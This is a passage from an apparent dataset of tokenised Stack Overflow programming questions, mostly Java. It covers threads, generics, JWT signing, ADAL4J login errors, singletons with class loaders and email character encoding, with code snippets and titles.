class instance in the constructor of Outer , so the anonymous class instance implicitly references the Outer class instance , i.e . Outer.this . But at this moment , Outer class instance has not been fully created yet . So the anonymous class instance references an object with incomplete states , hence the issue.Is he right ? Thanks .",public class Outer { public Interface Anony { public void callback ( ) ; } public Outer ( ) { OtherClass.foo ( new Anony ( ) { @ Override public void callback ( ) { ... . } } ) ; } },Can I instantiate an anonymous class in the constructor of outer class ? +Java,"A colleague pointed me to a strange case in C # ( not so sure if this actually strange though ) . Suppose you have a class Employee . If you want to create a Generic List < > of type Employee , you can simply do : I understand that I need to pass the Employee type to the Generic list so that it knows the required type information about Employee and generates methods that return and accept parameters that are compatible with Employee . Now my question is , why is n't it possible to do the following ? Should n't this suffice the information required for List < > to know , in order to create a list ? In other words , the type of x which is the type of Employee is now passed as a generic type parameter to List < > , which ( as I used to believe ) is the same as passing list the type name ( in this case Employee ) . I know that something like this is available in Java ( using the .class ) keyword on a variable . I 'm sure I AM missing something , so please , enlight me guys !",List < Employee > x = new List < Employee > ; Employee x = new Employee ( ) ; List < typeof ( x ) > list = new List < typeof ( x ) > ( ) ;,Why this is not possible in C # Generics ? +Java,"Why is only the last number wrong in the output this code : Output : Mathematically they are equivalent , so what is going on ? Math.sqrt ( ) and Math.pow ( ,0.5 ) is just as accurate .","public class Test { public static void main ( String [ ] args ) { System.out.println ( `` Hello world '' ) ; System.out.println ( `` I wounder is the sqaure root of ( 2*3 ) the same as the sqaure root of 2 and 3 multiplied . `` ) ; double squareroot0 = Math.pow ( 3*2 , 0.5 ) ; double squarroot1 = ( Math.pow ( 3 , 0.5 ) * Math.pow ( 2 , 0.5 ) ) ; System.out.println ( `` So is it the same ? `` ) ; System.out.println ( `` is `` + squareroot0 + `` the equvielant of `` + squarroot1 + `` ? `` ) ; if ( squareroot0 == squarroot1 ) { System.out.println ( `` Yes number one and number two are the same , Congrats ! `` ) ; } else { System.out.println ( `` No they are not ! `` ) ; } System.out.println ( squareroot0 ) ; System.out.println ( squarroot1 ) ; } } Hello worldI wonder is the sqaure root of ( 2*3 ) the same as the sqaure root of 2 and 3 multiplied.So is it the same ? is 2.449489742783178 the equvielant of 2.4494897427831783 ? No they are not ! 2.4494897427831782.4494897427831783",Why is the last number wrong ? +Java,"I asked a similar question earlier for Swift , and I 'm now facing the same problem in Android/Java.Is there a way in Java for adding quotation marks to a String ? The quotation marks should localize properly ( see https : //en.wikipedia.org/wiki/Quotation_mark ) based on the user 's language settings . The text is stored without quotes in a database . I 'd like to show the string in a TextViewafter adding the quotes.For instance : For a French user : « To be or not to be ... » For a German user : „To be or not to be ... “For an English ( US ) user : “To be or not to be ... ”",String quote = `` To be or not to be ... '' // one or more lines of code that add localized quotation marks// to the beginning and the end of the stringmMyTextView.setText ( stringWithQuotes ) ;,Adding Quotes in Java +Java,I am currently researching SOAP Message format to Socket Message format conversion and vice versa using Java.I need this to reuse a legacy system that reads socket format message to connect to a website that sends and receives SOAP message format.How should I do this ? Should I consider text processing ? Sample Socket to SOAPSOCKETSOAP,< ? xml version= '' 1.0 '' encoding= '' UTF-8 '' standalone= '' yes '' ? > < Interface Code= '' 20 '' < Transaction Txn= '' 01880120121024000001 '' CD= '' 01880120121024000001001 '' Date= '' 2012-10-24 17:27:25 '' BirthDate= '' 1983-03-27 '' Code= '' 8110009000000720 '' Type= '' 0 '' / > < /Interface > < ? xml version= ' 1.0 ' encoding='UTF-8 ' ? > < soapenv : Envelope xmlns : soapenv= '' http : //schemas.xmlsoap.org/soap/envelope/ '' > < soapenv : Body > < webRequest xmlns= '' http : //____________ '' > < arg0 xmlns= '' '' > & lt ; ? xml version= '' 1.0 '' encoding= '' UTF-8 '' standalone= '' yes '' ? > & lt ; Interface xmlns= '' http : //____________ '' Version= '' 1.0 '' Code= '' 20 '' Txn= '' 123 '' CD= '' 456 '' > & lt ; Info BirthDate= '' 1983-03-27 '' Code= '' 1234 '' Type= '' 0 '' / > & lt ; /Interface > < /arg0 > < /webRequest > < /soapenv : Body > < /soapenv : Envelope >,SOAP Message format to Socket Message format conversion and vice versa using Java +Java,I 'm using Microsoft aad : adal4j to handle the dynamics crm login from Mobile . After Implementing I am Getting the below Exception.What am I doing wrong ? Errorcode Gradle fileAnd also tried this : Code : Output,"java.lang.NoSuchMethodError : No static method encodeBase64URLSafeString ( [ B ) Ljava/lang/String ; in class Lorg/apache/commons/codec/binary/Base64 ; or its super classes ( declaration of 'org.apache.commons.codec.binary.Base64 ' appears in /system/framework/org.apache.http.legacy.boot.jar ) java.util.concurrent.ExecutionException : java.lang.NoSuchMethodError : No static method encodeBase64URLSafeString ( [ B ) Ljava/lang/String ; in class Lorg/apache/commons/codec/binary/Base64 ; or its super classes ( declaration of 'org.apache.commons.codec.binary.Base64 ' appears in /system/framework/org.apache.http.legacy.boot.jar ) at java.util.concurrent.FutureTask.report ( FutureTask.java:94 ) at java.util.concurrent.FutureTask.get ( FutureTask.java:164 ) at com.sampleadal.MainActivity.onCreate ( MainActivity.java:33 ) at android.app.Activity.performCreate ( Activity.java:6237 ) at android.app.Instrumentation.callActivityOnCreate ( Instrumentation.java:1107 ) at android.app.ActivityThread.performLaunchActivity ( ActivityThread.java:2369 ) at android.app.ActivityThread.handleLaunchActivity ( ActivityThread.java:2476 ) at android.app.ActivityThread.-wrap11 ( ActivityThread.java ) at android.app.ActivityThread $ H.handleMessage ( ActivityThread.java:1344 ) at android.os.Handler.dispatchMessage ( Handler.java:102 ) at android.os.Looper.loop ( Looper.java:148 ) at android.app.ActivityThread.main ( ActivityThread.java:5417 ) at java.lang.reflect.Method.invoke ( Native Method ) at com.android.internal.os.ZygoteInit $ MethodAndArgsCaller.run ( ZygoteInit.java:726 ) at com.android.internal.os.ZygoteInit.main ( ZygoteInit.java:616 ) Caused by : java.lang.NoSuchMethodError : No static method encodeBase64URLSafeString ( [ B ) Ljava/lang/String ; in class Lorg/apache/commons/codec/binary/Base64 ; or its super classes ( declaration of 'org.apache.commons.codec.binary.Base64 ' appears in /system/framework/org.apache.http.legacy.boot.jar ) at com.microsoft.aad.adal4j.AuthenticationContext.computeSha256Hash ( AuthenticationContext.java:798 ) at com.microsoft.aad.adal4j.AuthenticationContext.logResult ( AuthenticationContext.java:775 ) at com.microsoft.aad.adal4j.AuthenticationContext.access $ 200 ( AuthenticationContext.java:61 ) at com.microsoft.aad.adal4j.AuthenticationContext $ 1.call ( AuthenticationContext.java:130 ) at com.microsoft.aad.adal4j.AuthenticationContext $ 1.call ( AuthenticationContext.java:117 ) at java.util.concurrent.FutureTask.run ( FutureTask.java:237 ) at java.util.concurrent.ThreadPoolExecutor.runWorker ( ThreadPoolExecutor.java:1113 ) at java.util.concurrent.ThreadPoolExecutor $ Worker.run ( ThreadPoolExecutor.java:588 ) at java.lang.Thread.run ( Thread.java:818 ) AuthenticationResult result = ( AuthenticationResult ) new AuthenticationContext ( Constants.AUTHORITY_URL , false , Executors.newFixedThreadPool ( 1 ) ) .acquireToken ( Constants.SERVICE_URL , Constants.CLIENT_ID , `` my_login_id '' , `` my_password '' , null ) .get ( ) ; Log.d ( `` TAG '' , `` Access Token - `` + result.getAccessToken ( ) + `` \n Refresh Token - `` + result.getRefreshToken ( ) + `` \n ID Token - `` + result.getAccessToken ( ) + `` \n User ID - `` + result.getUserInfo ( ) .getUniqueId ( ) + `` \n Displayable ID - `` + result.getUserInfo ( ) .getDispayableId ( ) ) ; compile 'com.microsoft.aad : adal4j:0.0.2 ' AuthenticationResult result = ( AuthenticationResult ) new AuthenticationContext ( Constants.AUTHORITY_URL , false , Executors.newFixedThreadPool ( 1 ) ) .acquireToken ( Constants.SERVICE_URL , new ClientCredential ( `` my_login_id '' , `` my_password '' ) , null ) .get ( ) ; { `` error '' : `` unauthorized_client '' , `` error_description '' : `` AADSTS70001 : Application with identifier 'prasanth ' was not found in the directory windows.net\r\nTrace ID : 8c5ccd53-af99-4ff0-8556-501a53080d2f\r\nCorrelation ID : 8651e7f1-a7db-4673-aafb-52fef0d48d2d\r\nTimestamp : 2016-09-26 06:10:41Z '' }",Android Microsoft dynamics CRM adal4j Login Issue +Java,"I was looking a small example on Threads.For creating Threads we can do in 2 ways either by implementing Runnable interface or by extending Thread.I used the 1st wayMy doubt is when we are calling th.start ( ) ; then run ( ) is called.I want to know how.I thought internally there start ( ) may be calling run ( ) so I looked in the documentation of Thread classThe following is the start ( ) declaration in Thread classAs you can see inside start ( ) , run ( ) is not called but when we are calling th.start ( ) then automatically overriden run ( ) is called.Can anybody please throw some light in this",package test ; public class test implements Runnable { public static void main ( String args [ ] ) { test t=new test ( ) ; t.run ( ) ; Thread th=Thread.currentThread ( ) ; th.start ( ) ; } @ Override public void run ( ) { // TODO Auto-generated method stub System.out.println ( `` hi '' ) ; } } public synchronized void start ( ) { /** * This method is not invoked for the main method thread or `` system '' * group threads created/set up by the VM . Any new functionality added * to this method in the future may have to also be added to the VM . * * A zero status value corresponds to state `` NEW '' . */ if ( threadStatus ! = 0 ) throw new IllegalThreadStateException ( ) ; /* Notify the group that this thread is about to be started * so that it can be added to the group 's list of threads * and the group 's unstarted count can be decremented . */ group.add ( this ) ; boolean started = false ; try { start0 ( ) ; started = true ; } finally { try { if ( ! started ) { group.threadStartFailed ( this ) ; } } catch ( Throwable ignore ) { /* do nothing . If start0 threw a Throwable then it will be passed up the call stack */ } } },How Thread run starts ? +Java,".NET has a function called GC.KeepAlive ( Object ) . Its sole purpose is to ensure the lifetime of the referenced object lasts until code flow reaches the call.This is normally not necessary unless one is interoperating with native code.I have a situation where I 've got a graph of C++ objects accessed via JNI , where certain root objects need to be kept alive to keep the children alive . Both the root objects and the child objects have mirrors in JVM land . If the root object is collected and freed on the C++ side ( by way of a SWIG-generated finalizer ) , however , the child objects will become invalid , since their C++ backing object will have been freed.This can be solved by ensuring the local variables that root the object graph have a lifetime that exceeds the last use of a child object . So I need an idiomatic function that does nothing to an object , yet wo n't be optimized away or moved ( e.g . hoisted out of a loop ) . That 's what GC.KeepAlive ( Object ) does in .NET.What is the approximate equivalent in Java ? PS : some possibly illustrative code : The trouble is that the GC freeing Parent p will free the memory allocated for Child while doStuff is executing . GC has been observed to do this in practice . A potential fix if GC.KeepAlive was available : I could e.g . call toString on p , but I wo n't be doing anything with its output . I could poke p into an array temporarily , but how do I know the JVM wo n't discard the store ? Etc .",class Parent { long ptr ; void finalize ( ) { free ( ptr ) ; } Child getChild ( ) { return new Child ( expensive_operation ( ptr ) ) ; } } class Child { long ptr ; void doStuff ( ) { do_stuff ( ptr ) ; } } // BAD CODE with potential for SIGSEGVfor ( Parent p : getParents ( ) ) { p.getChild ( ) .doStuff ( ) ; } // BAD CODE with potential for SIGSEGVfor ( Parent p : getParents ( ) ) { p.getChild ( ) .doStuff ( ) ; GC.KeepAlive ( p ) ; },What 's the Java equivalent of .net 's GC.KeepAlive ? +Java,"I noticed that both of these , for example , are working : It makes me to ask : When should I announce throws anException , and when not , and just throw it without declare about it ?",public void func ( int a ) throws IllegalArgumentException { if ( a < 0 ) throw new IllegalArgumentException ( `` a should be greater than 0 . `` ) ; } public void func ( int a ) { if ( a < 0 ) throw new IllegalArgumentException ( `` a should be greater than 0 . `` ) ; },"When should I announce `` throws '' , and when not ?" +Java,Many people say they are using factory pattern in their project . But when i actually see their implementation it looks totally differentfrom definition what i have read in head first book . In the book they have described two kind of factory pattern i.e Factory Method : - A class specifies its sub-classes to specify which objects to create based on some parameter . So we expect here some abstract method in base class whihich will be implemented by child class and pupose of that will be to create some object Abstract Factory : - Provides an factory ( in form of interface or abstract factory ) for creating families of related or dependent objects without specifying their concrete classes.I have a question here on what do they mean by family of dependent or relatedobjects . Lets refer to http : //www.apwebco.com/gofpatterns/creational/AbstractFactory.html . As per my understanding it means that in FinancialToolsFactory ( in the link ) is able to create TaxProcessor which is a family of products where actuall concreate products are CanadaTaxProcessor and EuropeTaxProcessor . So here we will have n number of concrete factories ( in this case CanadaFinancialToolsFactory and EuropeFinancialToolsFactory ) which will be extending/implementing abstract factory in this case FinancialToolsFactory.Please let me know if above understanding is correct as i think its the crux of Factory pattern.Second question : What people are doing on the name of factory pattern is below : They are just passing class like Example.class from main method and getting the object instance for that specific class.Now if we go by actual concept of factory pattern which is described in beginning ( from head first book ) and other websites it does not follow any of the two factory patterns . To me it looks like a utility class where we are passing the class and getting the object instance . Please let me know if you folks agree with this ?,public class MyFactory { public static < T > T getObject ( Class < T > cls ) { if ( cls == null ) { throw new IllegalArgumentException ( `` Invalid className '' ) ; } T daoObject = ( T ) map.get ( cls ) ; if ( daoObject == null ) { daoObject = loadObject ( cls ) ; } return daoObject ; } },Questions regarding the Factory pattern +Java,"I have recently started with multi-threading in JavaI have an issue solving a problem where I have got only 5 Threads ranging from T1 , T2 , ... T5 . The task is to print numbers from 1 to 10 in the following order . I tried solving it with this piece of code.But since only 5 threads are allowed my solution is not accepted since I am also instantiating new Thread in the else block of the for loop.Any help would be highly appreciated .","T1 - > 1T2 - > 2T3 - > 3T4 - > 4T5 - > 5T1 - > 6T2 - > 7T3 - > 8T4 - > 9T5 - > 10 public static void main ( String [ ] args ) throws InterruptedException { Counter counter = new Counter ( ) ; Thread [ ] tArray = new Thread [ ] { new Thread ( counter , `` T1 '' ) , new Thread ( counter , `` T2 '' ) , new Thread ( counter , `` T3 '' ) , new Thread ( counter , `` T4 '' ) , new Thread ( counter , `` T5 '' ) } ; for ( int i = 0 ; i < 10 ; i++ ) { if ( i < 5 ) { tArray [ i ] .start ( ) ; tArray [ i ] .join ( ) ; } else { tArray [ i - 5 ] = new Thread ( counter , `` T '' + ( ( i - 5 ) + 1 ) ) ; //Instantiating new Thread which is not allowed . tArray [ i - 5 ] .start ( ) ; tArray [ i - 5 ] .join ( ) ; } } } public class Counter implements Runnable { private int count = 0 ; @ Override public synchronized void run ( ) { System.out.println ( Thread.currentThread ( ) .getName ( ) + `` - > `` + ++count ) ; } }",Print integers from 1 to 10 with only 5 Threads in a specific order +Java,I was trying to study different exceptions in Java and came across the OutOfMemoryError and I wanted to see it in work so I wrote the following program to create infinite objects by creating them in a infinite loop . The program does go in infinite loop it does not throw the OutOfMemoryError exception .,class Test { public static void main ( String ... args ) { while ( true ) { Integer i = new Integer ( ) ; } } },Java OutOfMemoryError not throwing +Java,"I have created a set of classes to represent a directed cyclic graph for representing BPM processes , based on JUNG 's DirectedSparseGraph class , which provides only basic graph manipulation methods to add and find vertices and edges.The challenge I am facing is to create a builder that provides a fluent interface able to create a graph that includes complex branching , cycles , and multiple end nodes ( see examples below ) . Parallel BranchesMerging BranchesCyclesComplexMy current implementation ( see example below ) is resorting to aliasing the vertex where a fork occurs ( e.g. , vertex `` B '' in Parallel Branches ) , and then I refer to the alias when adding a new branch to that vertex . My builder also includes something similar to allow for the merging of branches and cycles . Aliases were introduced because vertex names are not unique in BPM graphs . I want a more elegant fluent interface to quickly build graphs , free from those references .","Graph graph = GraphBuilder.newGraph ( ) .addVertex ( `` A '' ) .edgeName ( `` '' ) .addVertex ( `` B '' , `` b-fork '' ) .edgeName ( `` '' ) .addVertex ( `` C '' ) .edgeName ( `` '' ) .addVertex ( `` E '' ) .addBranch ( `` b-fork '' ) .edgeName ( `` '' ) .addVertex ( `` D '' ) .edgeName ( `` '' ) .addVertex ( `` F '' ) .build ( ) ;",Fluent Interface to Build a Directed Cyclic Graph ? +Java,"I was looking at the bytecode of the .jar file of the custom annotated jdk-8 in the central maven repository supplied by the Checker Framework.There I noticed some invalid Java Code in Object.class and Class.class files . When I loaded the jar in Eclipse it was an annotation with the following syntax : Now , as far as my knowledge goes , this annotation name is invalid Java . But , I 'm assuming it might mean something to the compiler ( similar to the names that the compiler assigns to anonymous classes ) . I 'm not sure what and I could n't find anything about it on searching online either . Hence , the query.Any help is appreciated .",@ jdk.Profile+Annotation ( value= ( int ) 1 ) public class java.lang.Object {,Does '+ ' in an annotation name have some special meaning ? +Java,"I would like to convert the following for statement to a Java 8 stream ( i.e . Stream < Class < ? > > ) . The ideal solution would be simple enough that I can easily adapt it for a variety of situations of traversing a linked list ( e.g . File.getParentFile ( ) , Component.getParent ( ) ) .I realize that a few lines of code to create a stream is n't going to be simpler than a single for statement . However , a stream makes the body of the for loop simpler and hence a stream is desirable .",Class < ? > clazz ; Object value ; value = ... ; for ( clazz = value.getClass ( ) ; clazz ! = null ; clazz = clazz.getSuperclass ( ) ) ...,"Java 8 Stream of Super Classes , Parent Files , Component Parents , linked list , etc" +Java,Today I got a NullPointerException at a point where it actually ca n't occur.This is the relevant part of the code : How is it possible to get the NullPointerException there ? I check to make sure that addList is not null before creating a new temporary ArrayList from it . Can someone tell me how this could possibly return in a NullPointerException ?,"Exception in thread `` Timer-9 '' java.lang.NullPointerException at packagename.censored.Bot.changeServergroups ( Bot.java:1363 ) at packagename.censored.Bot.xpTask ( Bot.java:1239 ) at packagename.censored.Bot.access $ 7 ( Bot.java:1187 ) at packagename.censored.Bot $ 9.run ( Bot.java:729 ) at java.util.TimerThread.mainLoop ( Timer.java:555 ) at java.util.TimerThread.run ( Timer.java:505 ) public void changeServergroups ( int cldbid , ArrayList < Integer > addList , ArrayList < Integer > removeList ) { // If there are groups to add AND delete , remove them from the lists if ( addList ! = null & & removeList ! = null ) { ArrayList < Integer > temp = new ArrayList < Integer > ( addList ) ; for ( int s : temp ) { // THIS IS LINE 1363 if ( removeList.contains ( s ) ) { addList.remove ( ( Integer ) s ) ; removeList.remove ( ( Integer ) s ) ; } } } // some more code , to do the actual group changes }",NullPointerException with ArrayList - should not be possible ? +Java,"I am trying to embed a lua-based script system into my game engine.I would like the scripting to be able to have both blocking and non-blocking commands , for example : Since the `` walkTo '' needs to be `` active '' for more than 1 frame of execution , I would like to be able to run 1 statement at time from the Java host instead of the whole function . This is because it would be overkill to have real multithreading , which is not needed.If I could execute just 1 statement , and keep the execution state `` paused '' until next statement execution , I would be able to implement blocking commands like `` walkTo '' by checking if the command is finished in the host , and if it is , go on to the next statement , otherwise , wait until the next frame iteration.Is there any way to execute 1 statement a time from the Java host with LuaJ ( or with any other Lua api ) , or am I forced to develop my own script engine with lex and yacc ? Any good idea is welcome , thanks !","character.walkTo ( 24 , 359 ) ; // Blocks until character arrivesc = 35 ; // Non blocking , execution goes on to the next statement",Is it possible to execute a single lua statement from a host program ? +Java,"I 've been exploring transforming an object from one type of class to another with java 8 . What I have are a bunch of xjc generated jaxb classes . The classes do n't have a sufficiently friendly structure because they map the xml more structure rather than the business object structure . I 'm unwilling to edit the generated classes because I like to regenerate them whenever the schema changes without having to worry about retaining customizations.I 've got a schema something like : This generates Java something like : getGoat and getSheep can return null , but they ca n't both be null . Likewise , at least one of them must be null . This is enforced via business rules and database constraints , but not in the xml ( although if anyone has a suggestion to structure the xml more like the desired VOs I 'm all ears ) I 'd like to transform this class intoMy idea was to do something like this : Right now I 've been feeding it a list , and as soon as it encounters a null sheep , it throws a NoSuchElementException.I suppose I a few questions : Is this an approach worth taking to split my list into classes that use inheritance ? What 's the best way to use Optional to protect against incoming potentially null values , when you ca n't change the classes passing you nullsWhat am I missing with goatVO.orElse ( sheepVO.get ( ) ) working as long as goatVO contains null and then throwing NoSuchElementException when sheepVO contains nullWhat I 'm really doing is working with generated jaxb code and trying to take the generated classes and make the friendlier to work with . Traditionally the project has used a wrapper class that transforms the generated classes to VOs via a substantial amount of null checking and int to BigInteger sort of manipulations.Editing the generated classes ( Goat , Sheep , Animal ) is a non starter because I would like to retain the ability to regenerate without worrying",< xs : element name= '' farm '' > < xs : sequence > < xs : element ref= '' animal '' minOccurs= '' 0 '' maxOccurs= '' unbounded '' / > < /xs : sequence > < /xs : element > < xs : element name= '' animal '' > < xs : complexType > < xs : sequence > < xs : element ref= '' goat '' / > < xs : element ref= '' sheep '' / > < /xs : sequence > < xs : complexType > < /xs : element > < xs : element name= '' goat '' > < xs : complexType > < xs : sequence > goat fields < /xs : sequence > < xs : complexType > < /xs : element > < xs : element name= '' sheep '' > < xs : complexType > < xs : sequence > sheep fields < /xs : sequence > < xs : complexType > < /xs : element > class Farm public List < Animal > getAnimals ( ) class Animal public Goat getGoat ( ) public String getGoatField ( ) public Sheep getSheep ( ) public String getSheepField ( ) class FarmWrapper public ArrayList < AnimalVO > getAnimals ( ) //optional features tbd //possibly public ArrayList < GoatVO > getGoats ( ) //possibly public ArrayList < SheepVO > getSheep ( ) class GoatVO extends AnimalVOclass SheepVO extends AnimalVO herd.stream ( ) .filter ( Objects : :nonNull ) .map ( a - > { Optional < AnimalVO > goatVO = Optional.ofNullable ( a.getGoat ( ) ) .map ( g - > new GoatVO ( g.getGoatField ( ) ) ) ; Optional < AnimalVO > sheepVO = Optional.ofNullable ( a.getSheep ( ) ) .map ( s - > new SheepVO ( s.getSheepField ( ) ) ) ; return goatVO.orElse ( sheepVO.get ( ) ) ; } ) .collect ( Collectors.toList ( ) ) ;,Transforming Classes with Java 8 +Java,"If we need new operator to allocate the memory for an object , then why do n't we use it before data types to allocate the memory ?",class-name class-var = new class-name ( ) ; new int a ;,"In java , why new operator not used before data type to allocate memory ?" +Java,"I am using a Google API for android . Since Google API/G Suite Quickstart for android refers to their java examples , I am trying to implement this : The problem , I am encountering now is that Android just support a subset of JDK classes . Therefore java.awt.Desktop is n't supported.But I really need this class , since AuthorizationCodeInstalledApp 's authorize ( ) will soon or later call its intern function browse ( ) . This function needs the Desktop class.Is there a way to get that class for android ? Or is there another workaround to authenticate with Google ?","GoogleAuthorizationCodeFlow flow = new GoogleAuthorizationCodeFlow.Builder ( ReadMail.HTTP_TRANSPORT , ReadMail.JSON_FACTORY , clientSecrets , ReadMail.SCOPES ) .setDataStoreFactory ( ReadMail.DATA_STORE_FACTORY ) .setAccessType ( `` offline '' ) .build ( ) ; AuthorizationCodeInstalledApp authCodeInstalledApp = new AuthorizationCodeInstalledApp ( flow , new LocalServerReceiver ( ) ) ; Credential credential = authCodeInstalledApp.authorize ( `` user '' ) ;",java.awt.Desktop class +Java,"I read this article on Android Studio Support Annotations today and started using these annotations in my code , here is an example : Further down in my code I have a class that accepts double values in it 's constructor , but there is no @ DoubleRange annotation . Do I use @ FloatRange or nothing at all ? Same question for long values","public final static class GoogleMapsZoomLevel { public static final int MIN_ZOOM_LEVEL = 0 ; public static final int MAX_ZOOM_LEVEL = 21 ; .. public GoogleMapsZoomLevel ( @ IntRange ( from=MIN_ZOOM_LEVEL , to=MAX_ZOOM_LEVEL ) int zoomLevel ) { if ( zoomLevel < MIN_ZOOM_LEVEL || zoomLevel > MAX_ZOOM_LEVEL ) { throw new IllegalArgumentException ( ERROR_ZOOM_LEVEL_OUT_OF_BOUNDS ) ; } this.zoomLevel = zoomLevel ; } .. }",Why is there no @ DoubleRange annotation in Android Studio Support Annotations like @ IntRange and @ FloatRange +Java,"Disclaimer : This is probably not the best solution given the issue , but I 'm curious how this implementation could be achieved.Problem I 'm trying to deal with some legacy code which has a singleton defined like bellow : I do not have the ability to change this design and the class is used heavily throughout the code base . The values returned by this singleton can greatly change the functionality of the code . Eg : Right now if I want the code to take Path A , then I have to initialize LegacySingleton in a particular way . If I then want to take Path B I have to re-initialize the LegacySingleton . There is no way of handling requests in parallel which take different paths ; meaning for each different configuration of LegacySingleton required I need to launch a separate JVM instance . My Question Is it possible to isolate this singleton using separate class loaders ? I 've been playing around with the ClassLoader API , but I cant quite figure it out.I 'm imagining it would look something along the lines of this : ...",public class LegacySingleton { private static Boolean value ; public static void setup ( boolean v ) { if ( value ! = null ) { throw new RuntimeException ( `` Already Set up '' ) ; } value = v ; System.out.println ( `` Setup complete '' ) ; } public static void teardown ( ) { value = null ; System.out.println ( `` Teardown complete '' ) ; } public static boolean getValue ( ) { return value ; } } public class LegacyRequestHandler { public void handleRequest ( ) { if ( LegacySingleton.getValue ( ) ) { System.out.println ( `` Path A '' ) ; } else { System.out.println ( `` Path B '' ) ; } } } public class LegacyRequestHandlerProvider extends Supplier < LegacyRequestHandler > { private final boolean value ; public LegacyRequestHandlerProvider ( boolean value ) { this.value = value ; } @ Override public LegacyRequestHandler get ( ) { LegacySingleton.setup ( value ) ; return new LegacyRequestHandler ( ) ; } } ClassLoader loader1 = new SomeFunkyClassLoaderMagic ( ) ; Supplier < LegacyRequestHandler > supplier1 = loader1 .loadClass ( `` com.project.LegacyRequestHandlerProvider '' ) .getConstructor ( Boolean.TYPE ) .newInstance ( true ) ; ClassLoader loader2 = new SomeFunkyClassLoaderMagic ( ) ; Supplier < LegacyRequestHandler > supplier2 = loader2 .loadClass ( `` com.project.LegacyRequestHandlerProvider '' ) .getConstructor ( Boolean.TYPE ) .newInstance ( false ) ; LegacyRequestHandler handler1 = supplier1.get ( ) ; LegacyRequestHandler handler2 = supplier2.get ( ) ;,Isolating a static singleton class using class loaders +Java,"I 've come across obscure import syntax while looking at some source code from Sun 's JVM implementation.From a look at the source code , this import statement appears to be importing the entire java.awt package , but the standard is to use a package wildcard : import java.awt.* ; . However , the syntax of the import statement in ComponentFactory is invalid and does not compile with JDK or Eclipse.Why would Java developers use this uncompilable syntax used , rather than the correct . * syntax ? ( Maybe the developers use a different compiler which supports this syntax ? )",import java.awt ;,Obscure Java import syntax ? +Java,"We have this code : And this code will work . The crucial line isAlthough interface J declares it has a void function , Test : :foo returns an Object.While we ca n't override method while implementing interface ( which is obvious ) .This works only when interface 's method is void , otherwise the code wo n't be compiled . Could someone tell why does this work in the way it works ? : D",public class Test { public static Object foo ( ) { System.out.println ( `` Foo '' ) ; return new Object ( ) ; } public static void main ( String [ ] args ) { J j = Test : :foo ; j.m ( ) ; } } interface J { void m ( ) ; } J j = Test : :foo ;,Why does functional interface with void return-type method accept any return-type method ? +Java,I am wondering is there a way to simplify the following code ? I am trying to get something from database by using EBean . If there 's something then map it to an object or otherwise return the default implementation instance .,"public static ObjectA test1 ( ) { Function < Optional < SqlRow > , ObjectA > sqlRowToObjectA= new Function < Optional < SqlRow > , ObjectA > ( ) { @ Override public AccountSummary apply ( Optional < SqlRow > entry ) { return entry.isPresent ( ) ? new ObjectA ( entry.get ( ) .getInt ( `` id '' ) , entry.get ( ) .getString ( `` name '' ) ) : ObjectA.EMPTY ; } } ; return sqlRowToObjectA.apply ( Optional.of ( Ebean.createSqlQuery ( `` select * from table1 '' ) .findUnique ( ) ) ) ; }",Java8 Optional with Function chaining expression +Java,"I have a method that takes in URL and finds all the links on that page . However I am concerned if it is only taking links as when I check if the links are working or not , some of the links seem strange.For example if I check the links at www.google.com I get 6 broken links that return no http status code and instead says there is 'no protocol'for that broken link.I just would n't imagine google would have any broken links on its homepage . An example of one of the broken links is : /preferences ? hl=en I ca n't see where this link is on the google homepage.I am curious if I am checking just links or is it possible I am extracting code that is not supposed to be a link ? Here is the method that checks the URL for links :","public static List getLinks ( String uriStr ) { List result = new ArrayList < String > ( ) ; //create a reader on the html content try { System.out.println ( `` in the getlinks try '' ) ; URL url = new URI ( uriStr ) .toURL ( ) ; URLConnection conn = url.openConnection ( ) ; Reader rd = new InputStreamReader ( conn.getInputStream ( ) ) ; // Parse the HTML EditorKit kit = new HTMLEditorKit ( ) ; HTMLDocument doc = ( HTMLDocument ) kit.createDefaultDocument ( ) ; kit.read ( rd , doc , 0 ) ; // Find all the A elements in the HTML document HTMLDocument.Iterator it = doc.getIterator ( HTML.Tag.A ) ; while ( it.isValid ( ) ) { SimpleAttributeSet s = ( SimpleAttributeSet ) it.getAttributes ( ) ; String link = ( String ) s.getAttribute ( HTML.Attribute.HREF ) ; if ( link ! = null ) { // Add the link to the result list System.out.println ( link ) ; //System.out.println ( `` link print finished '' ) ; result.add ( link ) ; } //System.out.println ( link ) ; it.next ( ) ; } }",Am I only checking for links of a URL with this java code ? +Java,"I 'm trying to generate JWT but I 'm receiving this error : I 'm using the io.jsonwebtoken.Jwts library , and a private key in string form but I 'm getting errors.My private key looks like this :","openssl req -x509 -sha256 -nodes -days 365 -newkey rsa:2048 -keyout private.key -out certificate_pub.crt Map < String , Object > payload = new HashMap < > ( ) ; payload.put ( `` iss '' , orgId ) ; payload.put ( `` sub '' , accountId ) ; payload.put ( `` exp '' , expirationTime ) ; payload.put ( `` aud '' , new StringBuilder ( `` Url '' ) .append ( `` /c/ '' ) .append ( apiKey ) .toString ( ) ) ; payload.put ( new StringBuilder ( `` Url '' ) .append ( `` /s/entt_sdk '' ) .toString ( ) , Boolean.TRUE ) ; return Jwts.builder ( ) .setClaims ( payload ) . **signWith** ( SignatureAlgorithm.RS256 , privateKeyStr ) .compact ( ) ; java.lang.IllegalArgumentException : Base64-encoded key bytes may only be specified for HMAC signatures . If using RSA or Elliptic Curve , use the signWith ( SignatureAlgorithm , Key ) method instead . -- -- -BEGIN PRIVATE KEY -- -- -sajdkjsadkjsahdkjsadksadkjsadkjs -- -- -END PRIVATE KEY -- -- -",Generate JSON web token ( JWT ) with a private key +Java,"I 'm sending an email with the JavaMailSender with html in the body like this : Look at the vowels , ( á , é , í ) in `` México '' , `` inválidos '' and `` día '' and the mail is sended clipped , telling me is something more to see : Notice the part : ... [ Mensaje recortado ] Ver todo el mensajeBut if I send it without quoting the vowels : **look at the vowels **Look at the vowels , ( a , e , i ) , in `` mexico '' , `` invalidos '' and `` dia '' ****The mail is correctly and perfectly sent . Any clues ?","String html = `` < h2 > RFC INVALIDOS en México : < /h2 > '' + `` < h4 > Se adjunta el siguiente listado de RFC inválidos al día de la fecha. < /h4 > '' + `` < h3 > Saludos ! ! ! < /h3 > '' ; MimeMessageHelper helper = return new MimeMessageHelper ( mimeMessage , true ) ; // some helper helper.setSubject ( message.getSubject ( ) ) ; helper.setText ( html , true ) ; String html = `` < h2 > RFC INVALIDOS en Mexico : < /h2 > '' + `` < h4 > Se adjunta el siguiente listado de RFC invalidos al dia de la fecha. < /h4 > '' + `` < h3 